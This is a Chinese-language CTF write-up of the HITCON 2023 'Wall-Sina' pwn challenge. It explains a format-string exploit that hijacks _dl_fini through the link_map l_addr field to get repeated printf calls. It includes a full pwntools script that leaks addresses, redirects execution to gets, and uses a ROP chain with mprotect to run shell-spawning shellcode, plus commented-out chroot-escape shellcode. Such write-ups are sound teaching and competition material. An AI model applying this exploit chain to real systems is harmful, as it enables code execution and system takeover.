2023HitConCTF Wall-Sina

题目分析

附件
源码如下:

#include <unistd.h>
#include <stdio.h>

int main();

char buff[0x48];
void *const gift = main;

int main() {
    read(STDIN_FILENO, buff, 0x40);
    printf(buff);
}

保护全开

栈上残留了指针_rtld_global_rtld_global._dl_ns[0]._ns_loaded,读rtld_global结构体源码可知,_ns_loaded是结构体link_map的指针
故我们可以通过fmt任意写在link_map的第一项,也就是l_addr处写任意地址。
题目在.data.rel保留了一个main的指针,且在.fini_array后不远处,故我们可以改写l_addr的LSB,使l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指向该指针,达成第二次fmt。在泄露各地址之后还能再改l_addr使.fini定位到main达成第三次fmt。

利用步骤

  1. 利用第一次fmt,将栈上残留的_rtld_global._dl_ns[0]._ns_loaded改为可以指向main的指针,泄露libc、栈、程序基地址
  2. 返回到main,此时是dl_call_fini函数调用的main函数,栈帧中rbp会存放link_map的指针,利用第二次fmt改写linkmap指针指向main,布置三级指针指向main函数返回地址为下一次劫持返回地址做准备
  3. 返回到main,此时是dl_call_fini函数调用的main函数,利用第三次fmt利用第二步的三级指针将main返回地址改为gets函数,为输入构造的ROP数据,在栈上布满ret,加shellcode,当gets函数返回时触发ret,滑行到shellcode

整体思路:程序只有一个一次的fmt,为了让程序loop起来必须构造循环,但是我们并不知道栈、libc、程序基地址,不能通过三级指针来修改main、printf返回地址为main使程序loop起来;

所以考虑在程序退出时会调用.fini_array中的函数,在退出之前将fini_array偏移指向main即可多获得一次fmt机会

后续就可以通过shellcode进行chroot逃逸或拿shell了

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]

exe = ELF("sina_patched")
libc = ELF("/home/yrl/glibc-all-in-one/libs/2.37-0ubuntu2_amd64/libc.so.6")
ld = ELF("/home/yrl/glibc-all-in-one/libs/2.37-0ubuntu2_amd64//ld-linux-x86-64.so.2")

# shortcuts
def logbase(): print("libc base = %#x" % libc.address)
def logleak(name, val):  print(name+" = %#x" % val)
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
  p.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return p.recvuntil(d2,drop=True)

host, port = "206.189.113.236", "30674"

limit=0

while True:
  p = process("./sina")
  limit=2
  # use _dl_fini link_map trick to return to main and leak addresses for libc,main, stack
  payload1 = '%8c%32$hhn.%1$p..%3$p..%13$p.'
  sl(payload1.ljust(0x3f,' '))
  exe.address = int(rcu('.0x', '.'),16)-0x4040
  logleak('prog base', exe.address)
  libc.address = int(rcu('.', '.'),16)-0x10b941
  logbase()
  stack = int(rcu('.', '.'),16) - 0x110
  logleak('stack', stack)
  # we wait the libc ASLR lower 32bits are small , to no receive gigabytes of data back
  if (((libc.address>>24) & 0xff)>limit):
    p.sendline('%p')
  else:
    break
# set stack address for overwriting return address, and do a second ret2main
gdb.attach(p)
pause()
low1 = ((exe.address+0x1159)-0x11b8)&0xffff
low2 = ((stack-0x100+0x10) & 0xffff)
if (low1<low2):
  sl('%'+str(low1)+'c%8$hn%'+str(low2-low1)+'c%35$hnXY%p')
else:
  sl('%'+str(low2)+'c%35$hn%'+str(low1-low2)+'c%8$hnXY%p')


pause()
p.recvuntil('XY0x' , drop=True)

# gdb.attach(p)
pause()
# replace return address by gets() function,  we will send the next payload via gets
low3 = (libc.sym['gets']) & 0xffffffff
print('low3 = '+hex(low3))
payload1 = '%'+str(low3)+'c%73$nPIPO%p'
context.log_level = 'info'
p.sendline(payload1.ljust(0x3f,' '))
p.recvuntil(b'PIPO0x' , drop=True)
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]
add_eax_3 = libc.address + 0x00000000000ce298 # add eax, 3 ; ret
gadget_ret = pop_rdi + 1 # ret

print('pop_rdi breakpoint = '+hex(pop_rdi))
print('gadget_ret = '+hex(gadget_ret))

pause()

payload = b''
payload += p64(gadget_ret)*(0x208>>3)
stack2 = stack-0x90

# # put shellcode at end of ROP, map stack rwx, and execute the shellcode to exit chroot
# offset = 33
# # map stack rwx and jump to shellcode (with a nopsled for security)
payload += p64(pop_rdi)+p64(stack2 & 0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx)+p64(7)+p64(pop_rax)+p64(7)+p64(add_eax_3)+p64(syscall)+p64(stack2+(17*8))
# payload += b'\x90'*128+asm("".join(
#   [
#     shellcraft.mkdir("lol", 0o755), 
#     shellcraft.chroot("lol"), 
#     shellcraft.chroot("../../../../../../../../../../../../../../../.."), 
#     shellcraft.sh()
#   ]))

payload += b'\x90'*128+asm("".join(
  [
    # shellcraft.mkdir("lol", 0o755), 
    # shellcraft.chroot("lol"), 
    # shellcraft.chroot("../../../../../../../../../../../../../../../.."), 
    shellcraft.sh()
  ]))

# # escape 0x7f for remote payload, because of qemu or strace...
# payloadc = b''
# for c in payload:
#   payloadc += b'\x16'+c

p.sendline(payload)

p.interactive()

参考

wall_sina